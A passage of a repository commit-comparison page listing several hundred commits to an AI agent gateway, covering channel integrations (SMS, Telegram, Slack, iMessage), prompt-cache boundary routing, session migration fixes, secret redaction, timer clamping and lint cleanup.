Compare commits

..

674 Commits

Author SHA1 Message Date
Peter Steinberger
d08909f06d test: align sqlite rebase tooling assertions 2026-05-31 10:41:20 +01:00
Peter Steinberger
1087429881 fix: align sqlite rebase with sms ci 2026-05-31 10:41:20 +01:00
Peter Steinberger
89b3cb75e7 fix: align sqlite rebase with current scripts 2026-05-31 10:41:20 +01:00
Josh Lehman
5d7f370dcf fix: drop premature sqlite store guard 2026-05-31 10:41:20 +01:00
Josh Lehman
f4e7a996da fix: restore sqlite sdk build entries 2026-05-31 10:41:20 +01:00
Peter Steinberger
99e5b9f2c7 fix: refresh sqlite rebase generated docs 2026-05-31 10:41:19 +01:00
Peter Steinberger
c21a379a3b fix: align sqlite rebase cleanup with current runtime 2026-05-31 10:41:19 +01:00
Peter Steinberger
fa1a589443 fix: drop stale plugin sdk entries 2026-05-31 10:41:19 +01:00
Peter Steinberger
410bbe69e8 refactor: rebase sqlite runtime cleanup 2026-05-31 10:41:19 +01:00
Peter Steinberger
2c6a3f6b04 fix(gateway): make bare reset commands fast 2026-05-31 10:38:20 +01:00
Peter Steinberger
7bf6667d6c docs: update crabbox skill cache-volume guidance 2026-05-31 10:38:05 +01:00
David
778c4f90b9 fix(agents): route per-turn media task hints below the cache boundary (#87998)
* fix(agents): route media task hints below the system-prompt cache boundary

Per-turn image/video/music generation task hints were injected into the
static prependSystemContext slot, landing above the cache boundary inside the
cacheable prefix. The hints are present only on user/manual turns and vary
with active media tasks, so the cacheable prefix shifted turn-to-turn and
defeated Anthropic/OpenAI prompt caching (#85203).

Split the per-turn media hints out of the prepend resolver into
resolveAttemptMediaTaskSystemPromptAddition and route them below the boundary
via the existing prependSystemPromptAddition helper, matching how subagent and
context-engine system-prompt additions are already routed. The static plugin
prependSystemContext / appendSystemContext hook fields are unchanged and
remain in the cacheable prefix. Applied at both consumers (embedded agent
runner and CLI runner).

* fix(agents): keep media task hints below the cache boundary for hook systemPrompt overrides

A before_prompt_build hook that returns a full systemPrompt override replaces
the base prompt with marker-free text. Per-turn media-generation task hints
were then front-prepended into that marker-free prompt, which providers cache
as a single block, so the cached prefix still shifted turn-to-turn on the
override path (#85203).

Wrap the base with ensureSystemPromptCacheBoundary at both media-routing sites
(embedded agent runner and CLI runner) so a marker-free override gets an
appended boundary and the hint routes into the uncached suffix. The helper is
idempotent, so marker-bearing prompts are unchanged. The shared
prependSystemPromptAddition wrapper and the static prependSystemContext /
appendSystemContext hook fields are untouched.

* fix(agents): keep marker-free idle prompts cacheable below the boundary

A marker-free hook systemPrompt override only had the cache boundary
ensured on turns with an active media task. On idle turns the later
appendModelIdentitySystemPrompt landed above the absent boundary, so the
idle cached system prefix diverged from active turns and prompt caching
broke across active/idle transitions. Ensure the boundary regardless of
media state in both the embedded and CLI runners, and extend the
regression to cover the model-identity append across active->idle.

* fix(agents): scope cache-boundary ensure to the model-identity append

Ensuring the boundary unconditionally on media-idle turns appended a
boundary marker to empty raw/gateway system prompts (turning "" into a
marker-only prompt) and to prompts with nothing below the boundary.
Instead ensure the boundary only when a model identity line is actually
appended to a non-empty prompt, in both the embedded and CLI runners.
This still keeps the identity below the boundary for marker-free hook
systemPrompt overrides (the #85203 idle-cache regression) while leaving
empty and identity-less prompts untouched.

* test: refresh stale type and lint expectations

* test: stabilize CI timeout checks

* test: satisfy channel entry lint

* fix(agents): skip cache boundary for blank prompts

* fix(channels): keep draft flush timer referenced

* test(agents): tolerate failed exec timeout setup

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-05-31 10:35:53 +01:00
Peter Steinberger
75ea8b5094 docs: clarify message-tool-only visible replies 2026-05-31 10:35:20 +01:00
Patrick Star
9c1adf4e51 feat: scope group mention patterns by channel
Provider-scoped configured regex mention patterns for Discord, Matrix, Slack, Telegram, and WhatsApp.

Native platform mentions keep their existing behavior, and unsupported channels do not opt into the new regex policy path. The new policy supports per-channel allow/deny routing through mentionPatterns.mode with allowIn and denyIn so group auto-reply regexes can be limited without broad global blast radius.

Refs #70864.
Supersedes #87200.
Thanks @patrick-slimelab.
2026-05-31 10:34:56 +01:00
giming
f94512cd7f fix(xiaomi): support MiMo voicedesign TTS
Adds Xiaomi MiMo voicedesign TTS support by registering the v2.5 voicedesign model and omitting audio.voice for that model's prompt-driven voice design flow.

Also accepts generic TTS aliases modelId, speakerVoice, and speakerVoiceId for Xiaomi provider config and request overrides.

Fixes exec timeout classification so a process that exits after a missed timeout callback is still reported as timed out, using monotonic deadlines to avoid wall-clock skew.

Verification:
- node scripts/run-vitest.mjs extensions/xiaomi/speech-provider.test.ts
- node scripts/run-vitest.mjs src/process/supervisor/supervisor.test.ts
- node scripts/run-vitest.mjs src/agents/bash-tools.exec-foreground-failures.test.ts
- git diff --check
- autoreview --mode local
- live Xiaomi MiMo voicedesign call returned wav RIFF/WAVE output, 169004 bytes
- GitHub CI success on fb3018ef31: CI 26708919072, CodeQL Critical Quality 26708919082, CodeQL 26708919091, OpenGrep PR Diff 26708919089, Workflow Sanity 26708919083, Dependency Guard 26708918574, Real behavior proof 26708921767

Thanks @GimingRao.

Co-authored-by: Raoyu <2425198313@qq.com>
Co-authored-by: giming <53329020+GimingRao@users.noreply.github.com>
2026-05-31 10:34:51 +01:00
Coder
d9d5d97dbc fix(cron): accept sub-second --at datetimes resolved in a timezone (#88185)
getTimeZoneOffsetMs built localAsUtc via Date.UTC() without the millisecond
argument, so for a sub-second instant the computed timezone offset was wrong by
that fraction. That corrupts resolvedMs and fails the exact-millisecond
re-validation in matchesOffsetlessIsoDateTimeParts, so parseOffsetlessIsoDateTimeInTimeZone
returned null for valid fractional input.

User impact: openclaw cron --at "<ISO>.<ms>" --tz <zone> was silently rejected
even though the parser's regex explicitly accepts fractional seconds (\.\d+).

Pass parts.millisecond (carried from utcMs via getUTCMilliseconds) into Date.UTC
so the offset is exact. Add fractional-second regression rows.

Co-authored-by: coder999999999 <coder999999999@users.noreply.github.com>
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
2026-05-31 10:32:17 +01:00
Feelw00
056bc46a67 fix(infra): guard against overwriting corrupt target session store during migration (#88018)
* fix(infra): guard against overwriting corrupt target session store during migration

migrateLegacySessions reads the target agents/{id}/sessions/sessions.json
and merges it with the legacy sessions dir. When the target file is
corrupt, readSessionStoreJson5 swallows the parse error and returns
{store:{}, ok:false}, so the merge becomes legacy-only. The save gate
(legacyParsed.ok || targetParsed.ok) passes on legacyParsed.ok alone and
never checks targetParsed.ok, so the corrupt target is atomically
overwritten with the legacy-only store. Target-only session records (keys
with no legacy counterpart) are lost permanently and the corrupt file can
no longer be recovered by hand. Legacy corruption is already guarded
(warn + skip delete); target corruption was asymmetrically unprotected.

Skip the save (and the legacy delete) when the target store exists but is
unreadable, leaving the corrupt file and the legacy store both in place,
and push a warning mirroring the legacy-unreadable path. saveSessionStore
and readSessionStoreJson5 signatures are untouched.

AI-assisted: drafted with claude code (claude-opus-4-8).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* fix(infra): report direct-chat session migration only after target save commits

Addresses ClawSweeper review on #88018. The `Migrated latest direct-chat session`
result.changes entry was pushed before the targetReadable guard, so the
corrupt-target skip path (which intentionally does not save) still reported a
session migration in doctor/startup logs. Defer that report into the
save-committed block (keeping its existing position before `Merged sessions
store`) and assert its absence in the corrupt-target regression test.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* fix(infra): add explicit corrupt session recovery

* fix(infra): keep legacy sessions retryable

---------

Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-05-31 10:31:59 +01:00
Peter Steinberger
ed46e62bcc feat(workboard): add worker dispatch CLI
* feat(workboard): add worker dispatch CLI

* fix(workboard): avoid new unsafe assertions

* fix(workboard): keep remote dispatch failures remote
2026-05-31 10:31:56 +01:00
shawnduggan
1d55caa162 fix(memory): respect QMD status timeout
Respect the configured QMD status timeout during vector availability probes and skip checkpoint-style session transcript exports while preserving valid session IDs that merely contain checkpoint words.

Includes maintainer fixups for latest-main timer-dependent CI and SMS status/test drift.

Thanks @shawnduggan.

Verification:
- `mise exec node@24.13.0 -- node scripts/run-vitest.mjs run --config test/vitest/vitest.agents-core.config.ts src/agents/bash-tools.exec-foreground-failures.test.ts --maxWorkers=1`
- `mise exec node@24.16.0 -- node scripts/run-vitest.mjs run src/channels/draft-stream-loop.test.ts --maxWorkers=1`
- `mise exec node@24.16.0 -- node scripts/run-vitest.mjs run extensions/sms/src/channel.test.ts extensions/sms/src/inbound.test.ts extensions/sms/src/twilio.test.ts extensions/sms/src/gateway.test.ts --maxWorkers=1`
- `mise exec node@24.16.0 -- node scripts/run-vitest.mjs run --config test/vitest/vitest.gateway-server.config.ts src/gateway/server.agent.gateway-server-agent-b.test.ts --maxWorkers=1`
- `mise exec node@24.16.0 -- node scripts/run-tsgo.mjs -p test/tsconfig/tsconfig.extensions.test.json --incremental --tsBuildInfoFile .artifacts/tsgo-cache/extensions-test.tsbuildinfo`
- `mise exec node@24.16.0 -- node scripts/run-tsgo.mjs -p test/tsconfig/tsconfig.core.test.json --incremental --tsBuildInfoFile .artifacts/tsgo-cache/core-test.tsbuildinfo`
- `mise exec node@24.16.0 -- node scripts/run-oxlint-shards.mjs --threads=8`
- `git diff --check`
- GitHub Actions: run `26708853296` and required checks passed on `0c97217a9de501cb861fee731d5c008781da056c`.
2026-05-31 10:29:45 +01:00
Andy Ye
17c2e95334 fix(ui): prefer Talk source-reply final text
Fix Control UI Talk consults so an empty final chat event no longer forces the no-text realtime tool result when a later source-reply or delivery-mirror final contains the answer displayed in the UI.

Also makes agent.wait use the chat-side terminal snapshot while a same-runId chat.send is active, so lifecycle completion cannot beat chat post-dispatch/source-reply delivery.

Adds regression coverage for delayed source replies, agent.wait failure/timeout handling, the wait-before-source-reply race, gateway wait ordering, and punctuation-only skill searches.

Fixes #85275.

Co-authored-by: Andy Ye <35905412+TurboTheTurtle@users.noreply.github.com>
2026-05-31 10:29:19 +01:00
Evan Newman
a0d2febe6b fix(scripts): timeout crabbox wrapper sanity checks
Add bounded timeouts for Crabbox wrapper sanity probes so a stale or hung selected binary cannot block the wrapper indefinitely. The wrapper now maps timed-out sanity probes to a deterministic failure and keeps provider/help parsing behavior intact.

Also add regression coverage for a binary whose `--version` probe hangs while `run --help` still responds.

Co-authored-by: Evan Newman <evanjames010101@gmail.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-05-31 10:29:12 +01:00
Peter Steinberger
70c8abdca1 refactor(telegram): keep topic thread mapping plugin-local
* refactor(telegram): keep topic thread mapping plugin-local

* fix(telegram): preserve native topic ids for username targets
2026-05-31 10:25:54 +01:00
Peter Steinberger
9e2bd8b2f7 fix(memory): fail open when embedding recall stalls
Preserve custom OpenAI-compatible memory embedding provider ids from #81170.
Fixes #47884.
Fixes #49524.
Refs #56532.

Co-authored-by: adone0 <vladyslav.yavorskyi@outlook.com>
2026-05-31 10:21:17 +01:00
Gio Della-Libera
2d3fa4832f feat(doctor): expose UI freshness health findings
Expose UI freshness doctor findings through the structured health contribution path so lint JSON and dry-run repair output include stale UI asset guidance.

Keep legacy positional repair filtering stable while excluding health checks that already own their structured repair output. Maintainer fixups also avoid stale UI warnings when git history cannot prove changed sources, and make the foreground timeout regression test deterministic.

Verification:
- Local: `git diff --check origin/main...HEAD`
- Local: `node_modules/.bin/oxfmt --check --threads=1 src/agents/bash-tools.exec-foreground-failures.test.ts src/commands/doctor-ui.test.ts src/commands/doctor-ui.ts src/flows/doctor-core-checks.ts src/flows/doctor-health-contributions.test.ts src/flows/doctor-health-contributions.ts src/flows/doctor-health-conversion-plan.ts`
- Local: `node_modules/.bin/oxlint --tsconfig config/tsconfig/oxlint.core.json src/agents/bash-tools.exec-foreground-failures.test.ts src/commands/doctor-ui.test.ts src/commands/doctor-ui.ts src/flows/doctor-core-checks.ts src/flows/doctor-health-contributions.test.ts src/flows/doctor-health-contributions.ts src/flows/doctor-health-conversion-plan.ts`
- Local: `node scripts/run-vitest.mjs src/commands/doctor-ui.test.ts src/flows/doctor-health-contributions.test.ts src/commands/doctor-lint.test.ts src/agents/bash-tools.exec-foreground-failures.test.ts --reporter=dot --pool=forks --testTimeout=30000 --hookTimeout=30000`
- Local: `GOMAXPROCS=4 node scripts/run-tsgo.mjs -p tsconfig.core.json --noEmit --incremental false --pretty false`
- Local: `GOMAXPROCS=4 node scripts/run-tsgo.mjs -p test/tsconfig/tsconfig.core.test.json --noEmit --incremental false --pretty false`
- Local: `GOMAXPROCS=4 node scripts/run-tsgo.mjs -p tsconfig.extensions.json --noEmit --incremental false --pretty false`
- Autoreview: `.agents/skills/autoreview/scripts/autoreview --mode branch --base origin/main`
- GitHub Actions: CI `26708647282`, Real behavior proof `26708646476`, CodeQL `26708647258`, CodeQL Critical Quality `26708647230`, OpenGrep PR Diff `26708647214`, Workflow Sanity `26708647232`, Dependency Guard `26708646489`, ClawSweeper Dispatch `26708646475`, Labeler `26708646480`

Co-authored-by: Gio Della-Libera <giodl73@gmail.com>
2026-05-31 10:20:12 +01:00
Peter Steinberger
7606e1dd3d docs: expand MCP operator guide 2026-05-31 10:12:44 +01:00
github-actions[bot]
ef7854abbc chore(ui): refresh fa control ui locale 2026-05-31 09:12:28 +00:00
github-actions[bot]
53e063962d chore(ui): refresh nl control ui locale 2026-05-31 09:12:16 +00:00
github-actions[bot]
cef86c1748 chore(ui): refresh vi control ui locale 2026-05-31 09:11:52 +00:00
github-actions[bot]
ee39aa84b2 chore(ui): refresh pl control ui locale 2026-05-31 09:11:49 +00:00
github-actions[bot]
e93e2a0f18 chore(ui): refresh th control ui locale 2026-05-31 09:11:42 +00:00
github-actions[bot]
fce45a2178 chore(ui): refresh id control ui locale 2026-05-31 09:11:33 +00:00
github-actions[bot]
2a58d92655 chore(ui): refresh uk control ui locale 2026-05-31 09:10:59 +00:00
github-actions[bot]
b335018c3c chore(ui): refresh tr control ui locale 2026-05-31 09:10:54 +00:00
github-actions[bot]
80294a4f6b chore(ui): refresh ar control ui locale 2026-05-31 09:10:48 +00:00
github-actions[bot]
20ab73e7d4 chore(ui): refresh it control ui locale 2026-05-31 09:10:43 +00:00
github-actions[bot]
a041e393c1 chore(ui): refresh fr control ui locale 2026-05-31 09:10:15 +00:00
github-actions[bot]
2e0d191725 chore(ui): refresh ko control ui locale 2026-05-31 09:10:13 +00:00
github-actions[bot]
ec949a856e chore(ui): refresh ja-JP control ui locale 2026-05-31 09:10:03 +00:00
github-actions[bot]
0b9193c0b7 chore(ui): refresh es control ui locale 2026-05-31 09:09:55 +00:00
github-actions[bot]
aa56f592bb chore(ui): refresh pt-BR control ui locale 2026-05-31 09:09:24 +00:00
github-actions[bot]
10b4057c36 chore(ui): refresh zh-TW control ui locale 2026-05-31 09:09:22 +00:00
github-actions[bot]
ecef6ae626 chore(ui): refresh zh-CN control ui locale 2026-05-31 09:09:18 +00:00
github-actions[bot]
f456114b12 chore(ui): refresh de control ui locale 2026-05-31 09:09:13 +00:00
Peter Steinberger
617c658498 feat: improve MCP operator controls (#88536)
* feat: improve MCP operator controls

* test: stabilize draft stream loop background errors

* fix: prune empty MCP server enablement stubs

* fix: ignore disabled MCP overrides in doctor

* fix: keep MCP doctor saved-config warnings

* fix: redact malformed MCP URLs in UI

* fix: harden MCP UI command actions

* fix: allow MCP logout after auth removal
2026-05-31 10:06:55 +01:00
Peter Steinberger
3258338ec8 chore(lint): clean sms lint fallout 2026-05-31 10:04:48 +01:00
Peter Steinberger
3a4943ef87 fix(ci): repair sms channel checks 2026-05-31 05:02:18 -04:00
Vincent Koc
84b025eb62 fix(e2e): make plugin sweep wrappers executable 2026-05-31 10:42:50 +02:00
Jason O'Neal
a776de25e8 fix(auto-reply): redact secrets in config show output (#88496)
* fix(auto-reply): redact config show secrets

* fix(auto-reply): use schema redaction for config show

* fix(auto-reply): redact config set acknowledgements

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-05-31 09:36:24 +01:00
Peter Steinberger
b4aaca3365 fix(ci): repair copilot sdk drift 2026-05-31 04:34:54 -04:00
Peter Steinberger
f5eca3f84c chore(lint): enable object and reassignment rules 2026-05-31 09:32:52 +01:00
Peter Steinberger
ea11b8ad3d docs: expand SMS channel setup guide 2026-05-31 09:31:00 +01:00
Peter Steinberger
d4f78c9339 ci: harden Crabbox Testbox runs 2026-05-31 09:29:56 +01:00
Zee Zheng
15ae2deb30 fix(webchat): preserve refresh-visible history and composer state (#83992)
WebChat now stores/restores composer draft and queued sends across refresh, scoped by gateway/session/agent. It skips in-flight/steered sends, restores after agent scope hydration, waits for fresh idle session proof before draining restored sends, and backfills visible chat history when the raw tail contains silent/context entries.

Refs #83344

Co-authored-by: Zee Zheng <zheng.zuo0@gmail.com>
2026-05-31 09:23:58 +01:00
Vincent Koc
e6ce83487c fix(check): restore core typecheck 2026-05-31 10:23:33 +02:00
Peter Steinberger
3513e8bfd9 feat: add Twilio SMS channel
Add a bundled SMS channel backed by Twilio inbound webhooks and outbound text delivery.

Includes signed webhook validation, pairing/allowlist access, Messaging Service sender support, chunked plain-text SMS delivery, default target support, docs, config metadata, labeler updates, and focused SMS coverage.

Verification:
- pnpm exec tsgo -p extensions/sms/tsconfig.json --noEmit
- OPENCLAW_VITEST_FS_MODULE_CACHE_PATH=/tmp/openclaw-vitest-sms-land-fix2 node scripts/run-vitest.mjs extensions/sms/src/phone.test.ts extensions/sms/src/accounts.test.ts extensions/sms/src/twilio.test.ts extensions/sms/src/inbound.test.ts extensions/sms/src/gateway.test.ts extensions/sms/src/channel.test.ts extensions/sms/src/send.test.ts extensions/sms/src/webhook.test.ts --reporter=verbose
- pnpm config:channels:check
- pnpm plugins:inventory:check
- git diff --check
- .agents/skills/autoreview/scripts/autoreview --mode local
- .agents/skills/autoreview/scripts/autoreview --mode branch --base origin/main
2026-05-31 09:22:31 +01:00
Andy Ye
0f1767a26a fix(telegram): support media message edits
Fixes #86161.

Route Telegram media-message edits through the Telegram caption/reply-markup APIs instead of always calling `editMessageText`. Button-only edits now update reply markup, explicit captions use `editMessageCaption`, and text edits can fall back to caption edits when Telegram reports the message has no editable text.

Also documents the edit behavior, adds regression coverage, tightens timer-spy cleanup for the affected agents test lane, and removes a stale loader helper from the current base that broke core typecheck.

Co-authored-by: Andy Ye <35905412+TurboTheTurtle@users.noreply.github.com>
2026-05-31 09:22:20 +01:00
Peter Steinberger
63a95930ca chore: remove stale unsafe assertion suppressions 2026-05-31 09:11:28 +01:00
Peter Steinberger
b81adc6202 fix(ci): keep unsafe assertion lint disabled 2026-05-31 04:09:48 -04:00
Peter Steinberger
0ac725278d Revert "fix(ci): annotate unsafe boundary casts"
This reverts commit 8a40f90f62.
2026-05-31 04:09:48 -04:00
Peter Steinberger
4471335d26 Revert "fix(ci): clean core unsafe assertions"
This reverts commit 88203c9b10.
2026-05-31 04:09:48 -04:00
Peter Steinberger
b78dd6a9ca test: remove channel test isolation hack
Remove isolate: true from the channel Vitest config and fix the leaking fake-timer/mock tests so the lane runs under the shared non-isolated runner. Verified with focused scoped-config/channel tests, the full channel Vitest config, git diff --check, and branch-mode autoreview.
2026-05-31 09:09:10 +01:00
Frank Yang
15c1511817 fix(agents): clear stale compaction bindings 2026-05-31 13:38:52 +05:30
Frank Yang
5e1e029d91 fix(agents): skip below-target CLI compaction failures 2026-05-31 13:38:52 +05:30
Peter Steinberger
48ccc50282 chore: update dependencies 2026-05-31 09:07:53 +01:00
Shakker
5a8bb1a7d2 docs: add Skill Workshop guide 2026-05-31 09:05:03 +01:00
Peter Steinberger
e1ad5f5170 docs: remove divider comments (#88115) 2026-05-31 09:03:18 +01:00
Peter Steinberger
88203c9b10 fix(ci): clean core unsafe assertions 2026-05-31 03:58:58 -04:00
Steven
b48c72cd19 fix(discord): deliver same-session channel replies
Deliver same-session channel replies directly while preserving stale-reply guards.

The fix bypasses the announce decider only when the requester and target are the same source channel, carries reply baselines into fire-and-forget follow-up delivery, and keeps history reads best-effort so timeout-zero sends still dispatch. It also includes focused regression coverage for delayed same-session replies, stale snapshots, retry timer caps, and the current strict-null/package-boundary blockers fixed while preparing the PR.
2026-05-31 08:52:01 +01:00
Peter Steinberger
8a40f90f62 fix(ci): annotate unsafe boundary casts 2026-05-31 03:51:18 -04:00
Peter Steinberger
ae651e7210 docs: add permission modes page 2026-05-31 08:47:02 +01:00
Peter Steinberger
4d95ae39d4 fix(ci): repair extension type drift 2026-05-31 03:40:32 -04:00
Peter Steinberger
e6782254e4 perf: avoid blocking gateway bind on control ui build 2026-05-31 08:36:30 +01:00
Peter Steinberger
59694e86d9 chore(lint): enable structured clone rules 2026-05-31 08:34:28 +01:00
Ayaan Zaidi
87664ed096 Fix iMessage startup watch replay (#88406)
* fix(imessage): start watch after existing local rows

* test(imessage): cover stale startup watch rows

* fix(imessage): keep watch startup tolerant of db probes

* fix(imessage): watermark default local watch startup

* fix(imessage): tolerate missing sqlite startup probe

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-05-31 08:33:22 +01:00
Peter Steinberger
1fd9fe2b33 fix(ci): isolate timer-sensitive tests 2026-05-31 03:30:37 -04:00
Peter Steinberger
122ae5db9e perf: lazy-load agent reply payload formatter 2026-05-31 08:29:32 +01:00
Peter Steinberger
930b371a2f refactor(telegram): persist plugin state in sqlite
Move Telegram plugin-local state from JSON sidecars into plugin-state SQLite. Keep legacy JSON handling in startup and doctor migration plans, with runtime state now reading and writing SQLite directly. Stabilize the channel Vitest lane by cleaning up typing timers and isolating that lane.
2026-05-31 08:28:53 +01:00
Peter Steinberger
b9fe0894a6 chore(lint): enable additional cleanup rules 2026-05-31 08:16:11 +01:00
Peter Steinberger
444562b3de chore: remove stale dead code 2026-05-31 03:04:25 -04:00
Peter Steinberger
ce547bfd44 fix(ci): stabilize ui paste and telegram types 2026-05-31 02:56:46 -04:00
Peter Steinberger
d4d7fdbc59 fix(ci): satisfy strict nullish guards 2026-05-31 02:50:24 -04:00
mochiexists
096bd13962 build(OpenClawKit): make ElevenLabsKit optional behind Talk trait
Adds a default-enabled SwiftPM Talk trait for OpenClawKit so chat-only consumers can opt out with traits: [] and avoid resolving ElevenLabsKit. Default traits preserve existing talk/TTS API and bundled app behavior; macOS CI now verifies the trait-off dependency graph and build.

Verification:
- CI at 85f00ebc04 passed macos-swift and Real behavior proof.
- Local Swift 6.3.2: trait-off dependency graph omitted ElevenLabsKit; full swift build with default traits disabled built through OpenClawChatUI; default dependency graph still included ElevenLabsKit; trait-off OpenClawKit target build passed.
- merge-tree against latest origin/main 4eba3e5d7d was clean.
- Current main already fails plugin-SDK declaration gates in unrelated TS files; reproduced locally with node scripts/run-tsgo.mjs -p tsconfig.plugin-sdk.dts.json --declaration true.

Thanks @mochiexists.

Co-authored-by: mochiexists <259077624+mochiexists@users.noreply.github.com>
Co-authored-by: atlascodesai <76924051+atlascodesai@users.noreply.github.com>
2026-05-31 07:40:35 +01:00
Peter Steinberger
4eba3e5d7d chore(lint): enable more readability rules 2026-05-31 07:38:33 +01:00
Peter Steinberger
9c3cf35e08 fix(ci): stop channel timers holding vitest open 2026-05-31 02:33:48 -04:00
Peter Steinberger
deb7bc6539 chore(lint): enable readability lint rules 2026-05-31 07:17:57 +01:00
Peter Steinberger
0211a3aa9f fix(ci): restore main validation 2026-05-31 02:13:10 -04:00
Peter Steinberger
ade6e7769b perf: prewarm gateway runtime plugins 2026-05-31 07:09:42 +01:00
guanbear
f1cb9f2f6a fix(slack): keep DM thread turns out of active steering
Keep Slack direct-message sessions stable while tracking routed Slack thread ids on active reply operations. Different top-level Slack DM threads from the same sender no longer steer into or block each other, while ordinary same-thread follow-ups and non-Slack direct-message behavior keep their existing semantics.

Verification:
- `git diff --check origin/main...FETCH_HEAD`
- `/Users/steipete/Projects/agent-scripts/skills/autoreview/scripts/autoreview --mode branch --base origin/main --output /tmp/pr85904-autoreview.txt --json-output /tmp/pr85904-autoreview.json`
- GitHub CI green for head `6703e166545bcb96c1a50de93a42446212cca9a7`, including Real behavior proof and auto-reply reply routing/dispatch shards.

Co-authored-by: guanbear <123guan@gmail.com>
2026-05-31 07:05:50 +01:00
Ted Li
667393be8f fix(commands): make /skill load workspace skills
Fixes #88056.

Reload workspace skill commands for `/skill <name>` when directive resolution supplied only an empty placeholder list, so the generic skill wrapper can invoke the same command-visible skills as direct slash commands.

Keep stale-message cutoff and empty-config channel suppression ahead of skill discovery and tool dispatch so suppressed `/skill` messages cannot trigger side-effecting skill tools.

Co-authored-by: Ted Li <tl2493@columbia.edu>
2026-05-31 07:04:59 +01:00
brokemac79
72c61bc123 fix(telegram): align DM topic session routing
Align Telegram proactive DM-topic outbound session routing with inbound reply routing.

The Telegram plugin now uses the chat-scoped DM-topic suffix for direct-topic outbound sessions, so cron/proactive sends and replies reuse the same session. Delivery metadata is kept as the numeric Telegram topic id so visible sends still target the correct private topic.

Refs #80212.
Thanks @brokemac79.

Verification:
- PR head d904115e4c
- GitHub CI/checks green on PR head; Real behavior proof passed; OpenGrep passed; CodeQL neutral/pass
- git diff --check origin/main...pr/88421 -- extensions/telegram/src/channel.ts extensions/telegram/src/session-route.test.ts
- git merge-tree $(git merge-base origin/main pr/88421) origin/main pr/88421
2026-05-31 06:54:51 +01:00
Peter Steinberger
b372af6b81 test: keep timeout clamp checks under one second 2026-05-31 06:51:35 +01:00
Peter Steinberger
04b68e8fa4 fix(shared): restore number coercion barrel 2026-05-31 06:51:34 +01:00
Peter Steinberger
9f99acf12d test: restore marketplace cleanup coverage 2026-05-31 06:51:34 +01:00
Peter Steinberger
23dac6c263 test: keep vitest cases under one second 2026-05-31 06:51:34 +01:00
Peter Steinberger
8a4679026c fix: clarify generated media reply prompts (#88458)
* fix: clarify generated media reply prompts

* fix: hide media compat aliases from message schema

* fix: hide message media url aliases

* test: refresh media prompt snapshots
2026-05-31 06:45:57 +01:00
Peter Steinberger
0303f3a8f0 fix(qa): clamp transport wait intervals 2026-05-31 01:37:46 -04:00
Peter Steinberger
bb680a845b fix(onboard): clamp gateway reachability polling 2026-05-31 01:37:46 -04:00
Peter Steinberger
5de0d873ed fix(qa): clamp gateway restart polling 2026-05-31 01:37:46 -04:00
Peter Steinberger
83597b7f95 fix(qa): clamp cron run poll intervals 2026-05-31 01:37:46 -04:00
Peter Steinberger
edd8aa2f4e fix(agents): clamp embedded run drain polling 2026-05-31 01:37:46 -04:00
Peter Steinberger
fab8d29d21 fix(feishu): clamp sequential queue timeouts 2026-05-31 01:37:46 -04:00
Peter Steinberger
7595d52e56 fix(auth): bound profile usage window expiries 2026-05-31 01:37:46 -04:00
Peter Steinberger
11c050d0d0 fix(agents): clamp session suspension TTLs 2026-05-31 01:37:46 -04:00
Peter Steinberger
764321d3d3 fix(channels): clamp draft stream throttles 2026-05-31 01:37:46 -04:00
Peter Steinberger
54a27f4e57 fix(gateway): clamp auth limiter durations 2026-05-31 01:37:46 -04:00
Peter Steinberger
84061c1f8e fix(memory): clamp batch timeout minutes 2026-05-31 01:37:46 -04:00
Peter Steinberger
5c38c0c76d fix(memory): clamp sync interval timers 2026-05-31 01:37:46 -04:00
Peter Steinberger
db94eac5c0 fix(auto-reply): clamp typing timers 2026-05-31 01:37:46 -04:00
Peter Steinberger
92f1d90e0f fix(channels): clamp typing timers 2026-05-31 01:37:46 -04:00
Peter Steinberger
a1d7a7536a fix(gateway): clamp auth limiter prune intervals 2026-05-31 01:37:46 -04:00
Peter Steinberger
287f531de6 fix(sqlite): clamp WAL checkpoint intervals 2026-05-31 01:37:46 -04:00
Peter Steinberger
d06e1b2c71 fix(gateway): bound health monitor intervals 2026-05-31 01:37:46 -04:00
Peter Steinberger
5b0036ffde fix(nostr): bound seen tracker capacity 2026-05-31 01:37:46 -04:00
Peter Steinberger
dca53afd53 fix(openai): convert realtime secret expiry 2026-05-31 01:37:46 -04:00
Peter Steinberger
604339ebf9 fix(clickclack): normalize reconnect intervals 2026-05-31 01:37:46 -04:00
Peter Steinberger
74c5548c0d fix(github-copilot): chunk device polling waits 2026-05-31 01:37:46 -04:00
Peter Steinberger
33c44626d2 fix(memory): bound embedding batch poll intervals 2026-05-31 01:37:46 -04:00
Peter Steinberger
68b5371fca fix(discord): bound transport activity timestamps 2026-05-31 01:37:46 -04:00
Peter Steinberger
9417b9cea8 fix(discord): bound ACP activity timestamps 2026-05-31 01:37:46 -04:00
Peter Steinberger
0c97922e23 fix(codex): bound synthesized hook start times 2026-05-31 01:37:46 -04:00
Peter Steinberger
2bdb2e8e02 fix(gateway-client): clamp readiness intervals 2026-05-31 01:37:46 -04:00
Peter Steinberger
984951f55c fix(gateway-client): clamp tick watchdog intervals 2026-05-31 01:37:46 -04:00
Peter Steinberger
59f96078b2 fix(sessions): bound lifecycle timestamps 2026-05-31 01:37:45 -04:00
Peter Steinberger
f0c0181b10 fix(sandbox): prune invalid registry timestamps 2026-05-31 01:37:45 -04:00
Peter Steinberger
84dec338e7 fix(sandbox): bound fs bridge mtimes 2026-05-31 01:37:45 -04:00
Peter Steinberger
66a4410095 fix(memory): bound session export timestamps 2026-05-31 01:37:45 -04:00
Peter Steinberger
b26f89213e fix(usage): bound minimax usage epochs 2026-05-31 01:37:45 -04:00
Peter Steinberger
ae4ddece91 fix(agents): bound model scan created timestamps 2026-05-31 01:37:45 -04:00
Peter Steinberger
9161db534e fix(zalouser): bound inbound timestamp normalization 2026-05-31 01:37:45 -04:00
Peter Steinberger
cae98c1daf fix(gateway): centralize plugin approval timeout bounds 2026-05-31 01:37:45 -04:00
Peter Steinberger
3d0dc15904 fix(codex): bound native hook cleanup grace 2026-05-31 01:37:45 -04:00
Peter Steinberger
